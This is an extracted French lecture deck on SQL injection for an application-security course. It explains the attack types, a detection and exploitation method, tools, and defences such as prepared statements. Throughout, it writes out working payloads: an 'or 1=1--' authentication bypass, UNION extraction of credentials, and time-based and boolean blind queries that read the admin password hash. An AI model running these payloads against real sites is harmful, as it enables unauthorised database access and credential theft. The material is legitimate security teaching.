Vous êtes sur la page 1sur 56

Les injections SQL

Sécurité Applicative
M2-SSI
Qu’est ce qu’une
injection SQL
Partie 1
Injection SQL
• C’est une technique utilisée pour tirer parti des vulnérabilités
d'entrée non sanitarisées en transmettant des commandes SQL via
une application Web afin de les exécuter dans une B.D
• il s'agit d'une faille dans une application Web et non d'un problème
de base de données ou de serveur Web

Attaquant Serveur Web DB

L’attaquant Retourne le
obtient l’accès en profile de
qualité d’admin l’administrateur
Top 10 -2010
OWASP Top 10
Top 10 -2013 Top 10 -2017 Top 10 -2021
A1 - Injection A1 - Injection A1 - Injection A1- Broken access
CTRL
A2 - XSS A2 – Broken A2 – Broken A2 – cryptographic
authentication & session authentication failures
management
A3-Broken authentication A3 - XSS A3 – Sensitive data A3- injection
& session management exposure
A4 – insecure direct A4 – insecure direct object A4 – XML External A4- insecure design
object references references +A7 entitiies
A5 – CSRF A5 – Security A5- Broken access A5- security
misconfiguration control misconfiguration
A6 – Security A6 sensitive data A6 – Security A6- vulnerable and
misconfiguration exposure misconfiguration oudated components
A7 – insecure A7 missing function level A7 - XSS A7- identification and
cryptographic storage access CTRL +A4 authentication failures
A8– Failure to restrict A8 - CSRF A8 – insecure A8- software and data
URL access deserialization integrity failure
A9- insufficient transport A9 using components with A9 – using A9- security logging and
layer protection known vulnerabilities components with monitoring failure
known vulenrabilities
A10- unvalidated redirects A10 unvalidated redirects A10 insufficient A10 - SSRF
and forwards and forwards logging & monitoring
Pourquoi est ce embêtant ?
• en fonction de l'utilisation des applications et de la manière dont
elles traitent les données fournies par les utilisateurs, les injections
SQL peuvent être utilisées pour mettre en œuvre les types
d'attaques suivants:
– Contournement d’authentification et d'autorisation
• Divulgation d'information (Confidentialité)
• Altération des données (l’intégrité)
• Suppression des données (disponibilité)
– Exécution de code à distance
Généralités
Server side Les technologies côté serveur comme ASP.NET et les
technology serveurs de base de données permettent aux développeurs
de créer des sites Web et des applications Web dynamiques
axés sur les données avec une facilité incroyable
Exploits La puissance d’ASP.net et de SQL peuvent être exploités par
des pirates via des injections SQL
BD sensibles Tous les BD relationnelles, SQL server, Oracle, IBM DB2 et
my SQL
Attaques Les attaques par injection SQL n'exploitent pas une
vulnérabilité logicielle spécifique, mais ciblent les sites Web
et les applications Web qui ne respectent pas les pratiques
de codage sécurisées pour accéder et manipuler les données
stockées dans la base de données relationnelle
Requêtes HTTP POST
• lorsque l'utilisateur fournit des
informations et clique sur
soumettre, le navigateur
soumet une chaîne au serveur
Web contenant les
informations d'identification de
l'utilisateur
• cette chaîne est visible dans le
corps de la requête HTTP ou
HTTP POST comme suit :

• Select * from USER where


(username = ‘’Mourad’’ and
password =‘’ROMEO342’’
La requête SQL
Principe de l’injection SQL

Requête executée par le serveur Commentaire ignoré


Analyse de l’injection SQL
1. un utilisateur entre un nom d'utilisateur et un mot de passe qui
correspondent à un enregistrement dans la table de l'utilisateur
2. une requête SQL générée dynamiquement est utilisée pour
récupérer le nombre de lignes correspondantes
3. L’utilisateur est authentifier et redirigé vers la page demandée
4. Quand l’attaquant va introduire blah’ or 1=1– la requête SQL va se
transformer en SELECT count(*) FROM users where
Username=‘blah’ or 1=1 - -’ AND password =‘ ‘
5. une paire de tirets indique le début d'un commentaire en SQL la
requête devient
SELECT count(*) FROM users where Username=‘blah’ or 1=1
String strqry =‘’SELECT count(*) FROM users WHERE username =‘ »
+ txtUser.txt + ‘’ ‘AND Password= ‘ ‘’+ txtpassword.Text + ‘’ ‘ ‘’;
Exemple d’injections SQL
Types des injections
SQL
Partie 2
Types

Injections
SQL

In-band Blind Out of


(classique) (inferential) band

Erreur Union Tautologie … Booléen temps


In band SQL injection
• un attaquant utilise le même canal de communication pour effectuer
l'attaque et récupérer le résultat.
• ces attaques sont couramment utilisées et faciles à exploiter. les attaques
in-band les plus couramment utilisées sont l'injection SQL basée sur les
erreurs et l'injection SQL union
Error based In-band injection
• Force la base de données à effectuer certaines opérations dont le résultat
est une erreur afin de permettre à l’attaquant d’affiner son injection
• L’exploitation diffère en fonction du SGBD
• Exemple 1 :
– Input : www.random.com/app.php?id=‘
– Output you have an error in your SQL syntax, check the manual that correspond to your
MySQL server versionXXX
– L’information obtenue est la version par exemple
• Exemple 2 :
– Input : www.example.com/product.php?id=10 // requête ordinaire
– www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME((SELECT user
FROM DUAL) ) – // requête malicieuse où l’attaquant a concaténé le 10 avec le resultat de
la fct UTL_INADDR.GET_HOST_NAME. Cette fct oracle tente de retourner le nom de l’hôte
du paramètre qui lui est passé, ce qui est une autre requête (le nom de l'utilisateur). lorsque
la base de données recherche un nom d'hôte avec le nom de la base de données utilisateur,
elle échouera et renverra un message d'erreur
– ORA-292257 : host scott unknown
UNION based In-band injection
• C’est une technique qui utilise l’operateur UNION pour combiner le resultat
de deux requêtes
• Exemple
– Input www.randow.com/app.php?id=‘UNION SELECT username, password FROM users—
– Output
• Aymen
• Afibh9cdktuggqlygd7h
• Administrator
• GD7hgkvbjbvkife5jf5h
Blind SQL injection
Blind SQL injection
• l'attaquant n'a aucun message d'erreur du système sur lequel travailler.
• à la place, l'attaquant envoie simplement une requête SQL malveillante à la
base de données. ce type d'injection SQL prend plus de temps à s'exécuter
car le résultat renvoyé est généralement sous forme booléenne
• L’attaquant utilise des résultats vrais ou faux pour déterminer la structure de
la base de données et les données
• dans le cas d'une injection inférentielle (déductive) , aucune donnée n'est
transmise via l'application web et il n'est pas possible pour un attaquant de
récupérer le résultat réel de l'injection, c'est pourquoi on parle d'injection
SQL aveugle
Boolean Blind SQL injection
• C’est une technique qui utilise des des conditions bouléennes pour
renvoyer un résultat différent selon que la requête renvoie un résultat vrai
ou faux
• Exemple
– www.usthM.dz/item.aspx?id=67
– La requête SQL executée par le système est select Name, price, description from
ITEM_DATA where ITEM_ID = 67
– L’attaquant peut manipuler la requête précédente en faisant :
www.usthM.dz/item.aspx?id=67 and 1=2
– En conséquent la requête changera comme suit : select Name, price, description from
ITEM_DATA where ITEM_ID = 67 and 1=2
– Le résultat de la requête précédente est faux. Aucun item ne sera affiché sur la page.
L’attaquant va modifier la requête comme suit : select Name, price, description from
ITEM_DATA where ITEM_ID = 67 and 1=1
– La requête SQL correspondante est : select Name, price, description from ITEM_DATA
where ITEM_ID = 67 and 1=1.
– La requête ci-dessus retourne vrais et les détails de l’article 67 seront affichés. L’attaquant
peut conclure que la page est vulnérable aux injections SQL
Boolean Blind SQL injection
• Table user :
• admin / e3c33e889e0e2b62cb7f65c63b60c42bd77275d0e7304…
• Payload :
• www.site.dz/app/php?id=1 and Substring((SELECT Password FROM users
WHERE username = ‘admin’), 1, 1) = ‘s’
• Requête exécutée
• Select title from product where id=1 Substring((SELECT Password FROM
users WHERE username = ‘admin’), 1, 1) = ‘a’
• Rien ne s’affiche donc la requête retourne faux donc a n’est pas la première
letter du hash
• www.site.dz/app/php?id=1 and Substring((SELECT Password FROM users
WHERE username = ‘admin’), 1, 1) = ‘e’
• Le titre de l’article s’affiche donc la requête est vrai et par consequent la
première letter est un e
Time-Based Blind SQL injection
• L'injection SQL basée sur le temps est une technique SQLi aveugle qui
repose sur la mise en pause de la base de données pendant une durée
spécifiée, puis renvoie les résultats, indiquant une exécution réussie de la
requête SQL
• Exemple :
– Si le premier caractère du hash du mot de passe de l’administrateur commence par un A
attendre 10 secondes
– Si la réponse s’affiche après 10s cela signifie que la première lettre est un A
Heavy query-Based Blind SQL
injection
• dans certaines circonstances, il est impossible d'utiliser des fonctions de
temporisation dans les requêtes SQL car elles sont désactivées par
l'administrateur.
• Dans ce cas, un attaquant peut utiliser des requêtes lourdes pour effectuer
son injection à retardement sans utiliser les fonctions de retardement.
• Une requête lourde récupère une quantité massive de données. Son
exécution sur le moteur de base de données prendra beaucoup de temps.
• Les attaquants génèrent des requêtes lourdes en utilisant plusieurs
jointures sur les tables système.
• Exemple : oracle
• SELECT count(*) FROM all_user A, all_user B, all_user C
• Le résultat final de la requête prendra la forme :
• SELECT * FROM products WHERE id=1 AND 1< SELECT count (*) FROM
all_users 1, all_users B, all_users C
• Les attaques de type heavy query représente un nouveau type d’injection
qui ont un impact sévère sur les performances du serveurSQL
Out-of-band injection
• La vulnérabilité consiste à déclencher une connexion hors band vers le
système que vous contrôlez
• L’attaquant utilise différents canaux de communication. Il peut utiliser des
requêtes DNS et HTTP pour récupérer les données du serveur de base de
données
• Ce type d'attaque est difficile à réaliser car l'attaquant doit communiquer
avec le serveur et déterminer les fonctionnalités du serveur de base de
données utilisées par l'application web.
• par exemple, dans MS SQL server, un attaquant exploite la commande
xp_dirtree pour envoyer une requête DNS à un serveur contrôlé par
l'attaquant
Méthodologie
Partie 3
Méthodologie
1. Récolte d’information et détection de vulnérabilités

2. Lancement de l’attaque

3. Injection SQL avancée


1 -Récolte
d’informations et
détection de
vulnérabilités
Partie 3 : Méthodologie
Recolte d’informations et
detection de vuln
• Dépend de la perspective du test
Détection en boite noire
• détection des problèmes d'injection SQL
– envoyer des guillemets simples et doubles en tant que données d'entrée pour identifier les
instances où l'entrée de l'utilisateur n'est pas filtrée
• détection de la filtrage des entrées
– utilisez le crochet droit "]" comme données d'entrée pour identifier les instances où l'entrée
de l'utilisateur est utilisée dans le cadre d'un identifiant SQL sans aucun filtrage d'entrée
• détection des problèmes de troncature
– envoyer de longues chaînes de données indésirables, similaires aux chaînes pour détecter
les bufferoverflow ; cette action peut générer des erreurs SQL sur la page
• détection de modification SQL
– envoyer de longues chaînes de guillemets simples (ou des crochets droits ou des guillemets
doubles)
– ceux-ci maximisent les valeurs de retour des fonctions REPLACE et quotename et peuvent
tronquer la variable de commande utilisée pour contenir l'instruction SQL
Détection en boite blanche
• la revue du code source vise à localiser et analyser les zones du code qui
sont vulnérables aux attaques par injection SQL
• cela peut être effectué soit manuellement, soit à l'aide d'outils tels que
Veracode, coverity scan,...
• analyse de code statique
– analyse du code source sans exécution
– les résultats aident à comprendre les problèmes de sécurité présents dans le code source du
programme
• analyse de code dynamique
– analyse de code à l'exécution
– les résultats aident à trouver les problèmes de sécurité causés par l'interaction du code avec
les bases de données SQL, les services Web, etc.
Récolte d’information
• Vérifier si l'application Web se connecte à un serveur de base de données
pour accéder à certaines données
• répertorier tous les champs de saisie, les champs cachés et les post
requête dont les valeurs pourraient être utilisées pour créer une requête
SQL
• tenter d'injecter des codes dans les champs de saisie pour générer une
erreur
• essayez d'insérer une chaîne de caractères où un nombre est requis dans
le champ de saisie
• utiliser l'opérateur union pour combiner l'ensemble de résultats de deux ou
plusieurs instructions select
• vérifiez les messages d'erreur détaillés. C’est une mine d'informations pour
exécuter l'injection SQL
Identification du chemin de
saisie des données
• L’attaquant doit analyser les requêtes post et get pour identifier tous les
champs de saisie, les champs masqué et les cookies
• Outils utilisés : tamper chrome, burp suite
Extraction des informations via
les messages d’erreur
• les messages d'erreur sont essentiels pour extraire les informations de la
base de données
• ils fournissent des informations sur l’OS, le type de BD, la version, le niveau
de privilège, le niveau d’interaction avec l’OS, etc..
• Le type d’attaque varie en fonction du type d’erreurs découvert
• L’attaquant doit manipuler les parametres des requêtes get and post pour
générer des erreurs
• Les paramètres peuvent être falsifiés soit directement via la bar d’adresse
soit en utilisant un proxy
Extraction des informations via
les messages d’erreur
• Déterminer le type de SGBD • Déterminer la structure de la
• générer une erreur ODBC qui vous requête SELECT
montrera le type du moteur de BD • essayer de reproduire une navigation
• L'erreur ODBC affichera le type de BD sans erreur par l'injection d'entrées
dans le cadre des informations sur le simples telles que ‘ and ‘1’=‘1
pilote • Générer des erreurs spécifiques qui
• si vous ne recevez aucun message révèlent des informations tel que les
d'erreur ODBC, faites une supposition noms des tables ou des colonnes
fondée sur le système d'exploitation et • Déterminer les noms des tables et des
le serveur Web colonnes ‘group by nomcolonne
having 1=1 -

la plupart des injections atterriront au milieu d'une instruction SELECT


Dans une clause select, on se retrouve presque toujours dans la section
WHERE
SELECT * FROM teble WHERE x= ‘normalinput’ group byx having 1=1 –
group by x HAVING x= y order by x
Extraction des informations via
les messages d’erreur
• Erreur de regroupement
– La commande HAVING permet de définir davantage une requête basée sur les champs
"groupés"
– le message d'erreur nous indique quelle colonne n'a pas été regroupée
– ‘ group by nom_colonne having 1=1 –

• incompatibilité de type
– essayez d'insérer des chaînes dans des champs numériques ; les messages d'erreur
afficheront les données qui n'ont pas pu être converties
– ‘ union select 1, 1, ‘test, 1, 1 –
• Blind injection
– utiliser des délais ou des signatures d'erreur pour déterminer ou extraire des informations
– ‘;If condition waitfor delay ‘0:0:5’--
Tester les injections
• Une fois les informations récoltées, l’attaquant peut utiliser les chaines de
test pour effectuer les injections SQL

1,1,1;
Autres techniques de detection
• Test des fonctions
– Ces tests entrent dans le cadre des tests à boîte noire et ne nécessitent aucune
connaissance de la conception interne du code ou de la logique

• Test de fuzzing
– il s'agit d'une technique de test d'injection SQL adaptative utilisée pour découvrir les erreurs
de codage en entrant une quantité massive de données aléatoires et en observant le
changement de sortie

• Static/ dynamic testing


– Analyse du code source de l’application

– 2060
2 –lancement de
l’attaque par injection
Partie 3 : Méthodologie
Injection par union
• il existe deux règles pour combiner les ensembles de résultats de deux
requêtes en utilisant UNION
– le nombre et l'ordre des colonnes doivent être les mêmes dans toutes les requêtes
– les types de données doivent être compatibles
• exploitation
– déterminer le nombre de colonnes que la requête fait
– déterminer le nombre de colonnes (principalement intéressé par les données de chaîne)
– utiliser l'opérateur UNION pour sortir les informations de la base de données
Injection par union
Extraire Nom de la http://www.site.df/page.aspx?id=1 UNION SELECT all 1,
base DB_NAME,3, 4—
Extraire tables de la http://www.site.df/page.aspx?id=1 UNION SELECT all 1,
base TABLE_NAME,3, 4 FROM sysobjects where
xtype=char(85) —
Extraire nom des http://www.site.df/page.aspx?id=1 UNION SELECT all 1,
colonnes COLUMN_NAME,3, 4 FROM
DB_NAME.information_schema.columns where
table_name=‘lol_table’--
Extraire premier http://www.site.df/page.aspx?id=1 UNION SELECT all 1,
champs de données COLUMN_NAME-1,3, 4 from lol_table—
Faire une ISQL basée sur les
erreurs
• vous pouvez utiliser les messages d'erreur au niveau de la BD divulgués
par une application pour créer une requête exploitant la vulnérabilité. il est
également possible de créer des exploits automatisés en fonction du
message d'erreur généré par le serveur de base de données
• http:// server.test/page.php?id=1 or 1=convert(int, (DB_NAME)) –
• Erreur de syntaxe qui va convertir la valeur de ‘[DB NAME]’ en colonne de
données de type int
Faire un blind SQLi
• L'exploitation de l'injection SQL dépend du langage utilisé en SQL. un
attaquant fusionne deux requêtes SQL pour obtenir plus de données.
l'attaquant tente d'exploiter l'opérateur union pour obtenir plus
d'informations de la base de données.
• les injections aveugles aident un attaquant à contourner plus de filtres
facilement. L'une des principales caractéristiques distinctives de l'injection
SQL aveugle est qu'elle lit les entrées symbole par symbole
Exemple 1 récupérer username
• Vérifier la taille
– http://www.site.dz/page.aspx?id=1; IF (LEN(user)=1) WAITFOR DELAY ‘00:00:10’—
– http://www.site.dz/page.aspx?id=1; IF (LEN(user)=1) WAITFOR DELAY ‘00:00:10’—
– On continue jusqu’à ce que le SGBD retourne True
• Vérifier quel est le 1er caractère
– http://www.site.dz/page.aspx?id=1; IF (ASCII(lower(substring((user),1,1)))=98) WAITFOR
DELAY ‘00:00:10’—
– http://www.site.dz/page.aspx?id=1; IF (ASCII(lower(substring((user),1,1)))=98) WAITFOR
DELAY ‘00:00:10’—
– On continue jusqu’au true
• Vérifier le deuxième caractère
– http://www.site.dz/page.aspx?id=1; IF (ASCII(lower(substring((user),2,1)))=97) WAITFOR
DELAY ‘00:00:10’—
– http://www.site.dz/page.aspx?id=1; IF (ASCII(lower(substring((user),2,1)))=98) WAITFOR
DELAY ‘00:00:10’—
Exemple suite
• On peut faire la même chose pour le nom de la base de données
– http://www.site.dz/page.aspx?id=1; IF (LEN(DB_NAME())=4) WAITFOR DELAY ‘00:00:10’—
• Ou bien pour les noms des tables
– http://www.site.dz/page.aspx?id=1; IF (LEN(SELECT TOP 1 NAME from sysobjects where
xtype=‘U’)=3) WAITFOR DELAY ‘00:00:10’—
– http://www.site.dz/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from
sysobjects where xtype=char (85)),1,1)))=101) WAITFOR DELAY ‘00:00:10’—
• Le même principe est applicable aux colonnes et aux données
Ce que l’on peut faire ?
• Blind SQL en utilisant l’exploitation out of band
• Exploiter des injections de second ordre
• Bypasser un parfeu
• Rajouter un user ou MAJ le MDP
Quelques outils
Partie 4
SQL MAP
• Automatise les processus de détection et d’exploitation des injections SQL
MOLE
• est un outil d'exploitation d'injection SQL qui détecte l'injection et l'exploite
uniquement en fournissant une URL vulnérable et une chaîne valide sur le
site
Blisqy
• Exploite les blind SQL injection basée sur le temps dans les HTTP-headers
Environnement mobile
• SQLI
• Droidbug SQLi Spyder
• SQLmapchik
Comment se defendre
?
Partie 5
Se défendre
• défenses primaires
– option 1 utilisation d'instructions préparées (requêtes paramétrées)
– option 2 utilisation de procédures stockées (partielle)
– option 3 : validation des entrées de la liste blanche (partielle)
– option 4 : échapper à toutes les entrées fournies par l'utilisateur (partiel)
• défenses supplémentaires
– aussi : appliquer le moindre provilege
– aussi : effectuer une validation d'entrée éclairée en blanc comme défense
secondaire
option 1 utilisation d'instructions
préparées
• Code vulnérable

• repérer le problème
– l'entrée "customerName" fournie par l'utilisateur est intégrée directement dans
l'instruction SQL
option 1 utilisation d'instructions
préparées
• la construction de l'instruction SQL s'effectue en deux étapes :
– l'application spécifie la structure de la requête avec des espaces réservés pour
chaque utilisateur inpt
– l'application précise le contenu de chaque espace réservé
• code non vulnérable à l'injection SQL
Option partielle
• Option 2 : utilisation des procédures stockées
– une procédure stockée est un lot d'instructions regroupées et stockées dans la
base de données
– pas toujours à l'abri de l'injection SQL, doit encore être appelé de manière
paramétrée

• Option 3 validation des entrées (Liste blanche)


– définir les valeurs autorisées. tout le reste est considéré comme non autorisé
– utile pour les valeurs qui ne peuvent pas être spécifiées en tant qu'espaces
réservés de paramètres, tels que le nom de la table

• option 4 : échapper à toutes les entrées fournies par l'utilisateur


(partiel)
– ne doit être utilisée qu’en dernier recours
Defense additionnels
• Principe du moindre privilège
– L’application doit utiliser les privilèges les plus bas possibles lors de l’accés à la
BD
– Toutes les fonctionnalités par defaut non nécessaires doivent être désactivées
sur la BD
– S’assurer que le benchmark CIS est appliqué sur la BD
(https://www.cisecurity.org/cis-benchmarks/)
– Tous les patch de sécurité doivent être appliqués

Vous aimerez peut-être aussi